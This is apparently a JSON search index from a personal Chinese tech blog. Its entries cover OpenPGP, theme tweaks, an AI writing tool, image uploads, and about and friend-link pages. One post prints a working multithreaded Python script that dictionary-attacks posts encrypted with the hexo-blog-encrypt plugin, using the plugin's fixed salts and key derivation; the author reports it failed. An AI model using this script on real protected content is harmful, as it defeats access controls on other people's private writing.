00YA/RU8UDp5KDvf5E1kSRbTIMLEFLlKYIqyQcOHQpu0dYkdAQDBZTcsZcNIjxJ9 C2hq+ebK4sQH9/tvnLLkyX4S/84WBw== =UuMz -----END PGP PUBLIC KEY BLOCK----- 顺便“宣传”一下个人的公钥。\n但是，代价是什么 OpenPGP其实有很多糟心的地方，其中最糟心的地方莫过于——\n我实在不想对这个糟心的东西发表任何意见，都5.0了居然还不支持中文。\n另外还有手机版的KeyChain无法解密电脑版加密的数据，翻遍了网上的资料，发现是因为电脑版有新特性手机版不更新导致的。\n社区混乱不堪也。\n这也是，pgp毕竟是老古董了，但现在的开源软件基本还是会有一个sig。\n因为它古老，也因为它古老。\n全新的非对称加密 形势不容乐观，如果想要开发一个新的软件进行非对称加密，不开源，肯定会被怀疑有病毒；开源吧，第二天各种魔改版又出来了。\n我又有多少精力去维护一个开源软件呢？\n如果有这样一个非对称加密，在电脑上运行，浏览器询问电脑上是否存在公钥，如果存在，则提交加密数据，电脑解密，返回浏览器，浏览器显示文章。\n但是这样的文章（加密的）写出来给谁看呢？不过是炫技罢了。\n碎碎念就到这里吧\n","permalink":"https://t1mmoc.github.io/posts/18630509/","summary":"\u003ch1 id=\"起因\"\u003e起因\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/18630509/3336551-20241225151650727-1164932268.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"碎碎念\"\u003e碎碎念\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e这已经是我\u003cstrong\u003e第二次\u003c/strong\u003e遇到加密的博客了，有了经验，那就是这玩意是不上传服务器的。\u003cbr\u003e\n既然是在前端，那怎么确保安全性呢？\u003cbr\u003e\n翻阅源代码可知，作者也是挺聪明的。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630509/3336551-20241225151840467-1434044309.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630509/3336551-20241225151853460-1500180519.png\"\u003e\u003cbr\u003e\n已经知道放在前端的东西会被各种手段操作，但是如果是用的AES-CBC加密，并且密码完全不放在前端，又当如何？\u003c/p\u003e\n\u003ch1 id=\"只剩下一条路了\"\u003e只剩下一条路了\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e爆破，或者用字典，这其实是同一条路。\u003cbr\u003e\n摆在面前的是类似于压缩包的东西，那就爆破一下，博文应该不会设置太难的密码。。。。吧？\u003cbr\u003e\n把代码丢给ai喂一下，让ai把python版本的代码吐出来，顺便加一下多线程什么的。\u003cbr\u003e\n就变成了下面这样：\u003c/p\u003e\n\u003cp\u003e点击查看代码\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eimport threading\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Hash import SHA256\nfrom Crypto.Protocol.KDF import PBKDF2\nfrom Crypto.Util.Padding import unpad\n\n\ndef hex_to_array(s):\n    data = []\n    for i in range(0, len(s), 2):\n        num = int(s[i:i + 2], 16)\n        data.append(num)\n    return bytes(data)\n\n\ndef get_hmac_key(key_material, key_salt):\n    return PBKDF2(key_material, key_salt, dkLen=32, count=1024, hmac_hash_module=SHA256)\n\n\ndef get_iv(key_material, iv_salt):\n    return PBKDF2(key_material, iv_salt, dkLen=16, count=512, hmac_hash_module=SHA256)\n\n\ndef get_key_material(password):\n    return password.encode()\n\n\nknown_prefix = \u0026#34;\u0026lt;hbe-prefix\u0026gt;\u0026lt;/hbe-prefix\u0026gt;\u0026#34;\n\n\ndef decrypt(ciphertext, password):\n    key_salt = \u0026#34;hexo-blog-encrypt的作者们都是大帅比!\u0026#34;.encode()\n    iv_salt = \u0026#34;hexo-blog-encrypt是地表最强Hexo加密插件!\u0026#34;.encode()\n    try:\n        key_material = get_key_material(password)\n        hmac_key = get_hmac_key(key_material, key_salt)\n        iv = get_iv(key_material, iv_salt)\n        ciphertext_bytes = hex_to_array(ciphertext)\n        cipher = AES.new(hmac_key, AES.MODE_CBC, iv)\n        decrypted_data = cipher.decrypt(ciphertext_bytes)\n        unpadded_data = unpad(decrypted_data, AES.block_size)\n        if not unpadded_data.decode().startswith(known_prefix):\n            return None\n    except ValueError as e:\n        return None\n    return unpadded_data.decode()\n\n\ndef worker(ciphertext, password_chunk, event):\n    for password in password_chunk:\n        password = password.strip()\n        if event.is_set():\n            return\n        result = decrypt(ciphertext, password)\n        if result:\n            print(f\u0026#34;Decrypted successfully with password: {password.strip()}\u0026#34;)\n            event.set()\n            return\n\n\ndef brute_force(ciphertext, passwords, max_threads=5):\n    results = []\n    threads = []\n    password_chunks = [[] for _ in range(max_threads)]\n    for index, password in enumerate(passwords):\n        chunk_index = index % max_threads\n        password_chunks[chunk_index].append(password)\n\n    stop_event = threading.Event()\n\n    for password_chunk in password_chunks:\n        if password_chunk:\n            t = threading.Thread(target=lambda chunk=password_chunk: worker(ciphertext, chunk, stop_event))\n            threads.append(t)\n            t.start()\n\n    for t in threads:\n        t.join()\n\n    if not stop_event.is_set():\n        print(\u0026#34;No valid password found.\u0026#34;)\n\n\ntry:\n    with open(\u0026#39;enData.txt\u0026#39;, \u0026#39;r\u0026#39;) as f:\n        ciphertext = f.read().strip()\n    with open(r\u0026#34;你应该有自己的字典8\u0026#34;, \u0026#39;r\u0026#39;, encoding=\u0026#34;utf-8\u0026#34;) as f:\n        passwords = f.readlines()\n        brute_force(ciphertext, passwords, max_threads=200)\nexcept FileNotFoundError as e:\n    print(f\u0026#34;Error: {e}\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\u003ch1 id=\"爆破\"\u003e爆破\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630509/3336551-20241225152333789-1181526778.png\"\u003e\u003cbr\u003e\n也许你不相信，但是真的有人会用超长的密码去加密一篇博客，有鬼吧。\u003cbr\u003e\n我没有加进度条，但是200个进程跑那么久跑不出来已经很说明问题了。\u003c/p\u003e","title":"博客字典爆破尝试"},{"content":"起因 博客园这个丑丑的默认样式实在看不下去，换了一个主题，但是发现这个主题用的人还是太多了\n说实话要是给主页的样子其实也还不错啊（广告就不要了谢谢）\n改变现状 想来想去，还是得美化一下，但是自己没有这个精力去美化，怎么办呢\n自然还是去找别人的模板，先好看起来再说，以后再去想要不要修改，要不要变得更好看。\n感谢 https://www.cnblogs.com/lingyunvoid/p/beautify.html\n感谢 https://www.cnblogs.com/cyy22321-blog/p/16048788.html\n下载下来的内容进行对应的修改即可，要修改的东西还是挺多的。\n图片随机？ 居然能随机主图，那我就上传点图片玩玩。\n标题？不要 乐了，有没有和我一样每次都被焦点标题烦到。\n奇妙问题 弄完了，但是这个hearts[i].y\u0026ndash;;一直显示报错\n非常奇妙\n太奇妙了。\n我以为剪贴板有奇怪的东西，手动输入了一遍，还是报错。\n算了，这行我本来也不想要，注释了，那就留着注释好了。\n新的引用 https://www.cnblogs.com/gshang/p/12986360.html#4819271\n感谢。用了新的\nhttps://www.cnblogs.com/CryFace/p/13508216.html\n不过我要说，不会吧。\n是诈骗啊，那个暗暗的好看的主题呢？\n没见着博主发布新的主题，算了，以后有空的时候自己装修一下自己的毛坯小屋好了\n","permalink":"https://t1mmoc.github.io/posts/18628835/","summary":"\u003ch1 id=\"起因\"\u003e起因\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e博客园这个丑丑的默认样式实在看不下去，换了一个主题，但是发现这个主题用的人还是太多了\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224220813394-1447544816.png\"\u003e\u003cbr\u003e\n说实话要是给主页的样子其实也还不错啊（广告就不要了谢谢）\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224220620680-1667604397.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"改变现状\"\u003e改变现状\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e想来想去，还是得美化一下，但是自己没有这个精力去美化，怎么办呢\u003cbr\u003e\n自然还是去找别人的模板，先好看起来再说，以后再去想要不要修改，要不要变得更好看。\u003cbr\u003e\n感谢 \u003ca href=\"https://www.cnblogs.com/lingyunvoid/p/beautify.html\"\u003ehttps://www.cnblogs.com/lingyunvoid/p/beautify.html\u003c/a\u003e\u003cbr\u003e\n感谢 \u003ca href=\"https://www.cnblogs.com/cyy22321-blog/p/16048788.html\"\u003ehttps://www.cnblogs.com/cyy22321-blog/p/16048788.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224221105541-1804703366.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224221052134-415876891.png\"\u003e\u003cbr\u003e\n下载下来的内容进行对应的修改即可，要修改的东西还是挺多的。\u003c/p\u003e\n\u003ch1 id=\"图片随机\"\u003e图片随机？\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224221624999-1083372139.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224221624640-1546878523.png\"\u003e\u003cbr\u003e\n居然能随机主图，那我就上传点图片玩玩。\u003c/p\u003e\n\u003ch1 id=\"标题不要\"\u003e标题？不要\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e乐了，有没有和我一样每次都被焦点标题烦到。\u003c/p\u003e\n\u003ch1 id=\"奇妙问题\"\u003e奇妙问题\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224222953837-1086719112.png\"\u003e\u003cbr\u003e\n弄完了，但是这个hearts[i].y\u0026ndash;;一直显示报错\u003cbr\u003e\n非常奇妙\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628835/3336551-20241224223023695-1256796506.png\"\u003e\u003cbr\u003e\n太奇妙了。\u003cbr\u003e\n我以为剪贴板有奇怪的东西，手动输入了一遍，还是报错。\u003cbr\u003e\n算了，这行我本来也不想要，注释了，那就留着注释好了。\u003c/p\u003e","title":"博客园cnblog美化"},{"content":"豆包AI使用体验 不得不说现在AI的能力也是越来越离谱了。\n完全可以以假乱真了，但是具体的细节、上下文链接、逻辑问题，还有待检查。\n我只修改了可能侵犯版权的部分，具体的文章可以直接跳转上一篇博客。\n两全其美的解决方法 对于希望拿到代码的人，可以直接拿到代码；对于希望看到解析的人，ai可以给出非常详细的解析，而并非如我现在码字一样的慢慢敲，并不如ai高效，也不如ai清晰。\n因此我竟感觉我写代码，然后让AI码字上传倒是一件好事。\n待我让ai替我润色点存货。\n","permalink":"https://t1mmoc.github.io/posts/18628779/","summary":"\u003ch1 id=\"豆包ai使用体验\"\u003e豆包AI使用体验\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628779/3336551-20241224214528423-2018388656.png\"\u003e\u003cbr\u003e\n不得不说现在AI的能力也是越来越离谱了。\u003cbr\u003e\n完全可以以假乱真了，但是具体的细节、上下文链接、逻辑问题，还有待检查。\u003cbr\u003e\n我只修改了可能侵犯版权的部分，具体的文章可以直接跳转上一篇博客。\u003c/p\u003e\n\u003ch1 id=\"两全其美的解决方法\"\u003e两全其美的解决方法\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e对于希望拿到代码的人，可以直接拿到代码；对于希望看到解析的人，ai可以给出非常详细的解析，而并非如我现在码字一样的慢慢敲，并不如ai高效，也不如ai清晰。\u003cbr\u003e\n因此我竟感觉我写代码，然后让AI码字上传倒是一件好事。\u003cbr\u003e\n待我让ai替我润色点存货。\u003c/p\u003e","title":"国产AI使用尝试"},{"content":"图片上传贴 由于博客园的文件上传只有100M，而图片上传单张图片最大2M\n那就上传到随笔好了，图片本身是网络图片，因此并不担心公开问题。\n但是图片的链接需要保证我还在使用博客园的期间有效，所以不想引用外链。\n以下图片将成为初始的随机图列表，刚好挺适合的。\n图片 四张ai图，有时间替换掉才行，嫌弃水印 2024-12-29 ","permalink":"https://t1mmoc.github.io/posts/18628814/","summary":"\u003ch1 id=\"图片上传贴\"\u003e图片上传贴\u003c/h1\u003e\n\u003cp\u003e由于博客园的文件上传只有100M，而图片上传单张图片最大2M\u003cbr\u003e\n那就上传到随笔好了，图片本身是网络图片，因此并不担心公开问题。\u003cbr\u003e\n但是图片的链接需要保证我还在使用博客园的期间有效，所以不想引用外链。\u003cbr\u003e\n以下图片将成为初始的随机图列表，刚好挺适合的。\u003c/p\u003e\n\u003ch1 id=\"图片\"\u003e图片\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241224221515139-799095308.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241224221536119-740667203.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241224221528372-1971997832.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241224221531232-1881282061.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241224221537278-1713229069.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241224221528025-1473483764.jpg\"\u003e\u003c/p\u003e\n\u003ch1 id=\"四张ai图有时间替换掉才行嫌弃水印-2024-12-29\"\u003e四张ai图，有时间替换掉才行，嫌弃水印 2024-12-29\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241229214249210-2036182383.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241229214258237-1419184658.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241229214302632-295331211.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18628814/3336551-20241229214322597-1159805764.png\"\u003e\u003c/p\u003e","title":"图片上传"},{"content":"关于本站 欢迎来到 Timmoc 的技术小屋 👋\n这里主要记录我在技术折腾、日常开发中的一些笔记和思考。内容偏实战向——从踩坑记录到完整的搭建流程，尽量做到「照着做就能复现」。\n订阅更新（RSS） 如果你不想每次手动来刷网站，可以用 RSS 阅读器 订阅本站的更新源：\n订阅地址：https://t1mmoc.github.io/index.xml 把上面的地址粘贴到任意 RSS 阅读器（Feedly、Inoreader、Reeder、Newsboat 等）即可，新文章会自动送达。 小提示：直接点开这个地址，浏览器里看到的是一串 XML 代码，这是正常的——它是「喂」给阅读器的数据格式，不是给人直接读的网页。用阅读器订阅后就能以干净的列表形式看到所有更新了。\n联系 / 交流 GitHub：https://github.com/t1mmoc 博客源码与文章纠错也都在上面的仓库里，欢迎提 Issue 或 PR。 ","permalink":"https://t1mmoc.github.io/about/","summary":"\u003ch1 id=\"关于本站\"\u003e关于本站\u003c/h1\u003e\n\u003cp\u003e欢迎来到 \u003cstrong\u003eTimmoc 的技术小屋\u003c/strong\u003e 👋\u003c/p\u003e\n\u003cp\u003e这里主要记录我在技术折腾、日常开发中的一些笔记和思考。内容偏实战向——从踩坑记录到完整的搭建流程，尽量做到「照着做就能复现」。\u003c/p\u003e\n\u003ch2 id=\"订阅更新rss\"\u003e订阅更新（RSS）\u003c/h2\u003e\n\u003cp\u003e如果你不想每次手动来刷网站，可以用 \u003cstrong\u003eRSS 阅读器\u003c/strong\u003e 订阅本站的更新源：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e订阅地址\u003c/strong\u003e：https://t1mmoc.github.io/index.xml\u003c/li\u003e\n\u003cli\u003e把上面的地址粘贴到任意 RSS 阅读器（Feedly、Inoreader、Reeder、Newsboat 等）即可，新文章会自动送达。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003e小提示：直接点开这个地址，浏览器里看到的是一串 XML 代码，这是正常的——它是「喂」给阅读器的数据格式，不是给人直接读的网页。用阅读器订阅后就能以干净的列表形式看到所有更新了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"联系--交流\"\u003e联系 / 交流\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGitHub：https://github.com/t1mmoc\u003c/li\u003e\n\u003cli\u003e博客源码与文章纠错也都在上面的仓库里，欢迎提 Issue 或 PR。\u003c/li\u003e\n\u003c/ul\u003e","title":"关于"},{"content":" xyyr 恪守，攀登，定矩，成锋 互换友链 欢迎来到我的友链页面。如果你也写技术博客，想和我交换链接，按下面的格式在页面底部的评论区留言申请即可，我审核通过后会把你的博客加进上方名单。\n在评论区按这个格式留言（图片项可选）：\n博客名: 你的博客名 简介: 一句话简介 链接: https://your-blog.com 图片: https://your-blog.com/avatar.png ","permalink":"https://t1mmoc.github.io/friends/","summary":"\u003cdiv class=\"friend-grid\"\u003e\n  \u003ca class=\"friend-card\" href=\"https://xyyr-c.github.io\" target=\"_blank\" rel=\"noopener\"\u003e\n    \u003cimg class=\"friend-avatar\" src=\"https://xyyr-c.github.io/img/xyyr.png\" alt=\"xyyr\" loading=\"lazy\"\u003e\n    \u003cdiv class=\"friend-meta\"\u003e\n      \u003cdiv class=\"friend-name\"\u003exyyr\u003c/div\u003e\n      \u003cdiv class=\"friend-desc\"\u003e恪守，攀登，定矩，成锋\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/a\u003e\n\u003c/div\u003e\n\u003ch2 id=\"互换友链\"\u003e互换友链\u003c/h2\u003e\n\u003cp\u003e欢迎来到我的友链页面。如果你也写技术博客，想和我交换链接，按下面的格式在\u003cstrong\u003e页面底部的评论区\u003c/strong\u003e留言申请即可，我审核通过后会把你的博客加进上方名单。\u003c/p\u003e\n\u003cp\u003e在评论区按这个格式留言（图片项可选）：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e博客名: 你的博客名\n简介: 一句话简介\n链接: https://your-blog.com\n图片: https://your-blog.com/avatar.png\n\u003c/code\u003e\u003c/pre\u003e","title":"友链"}]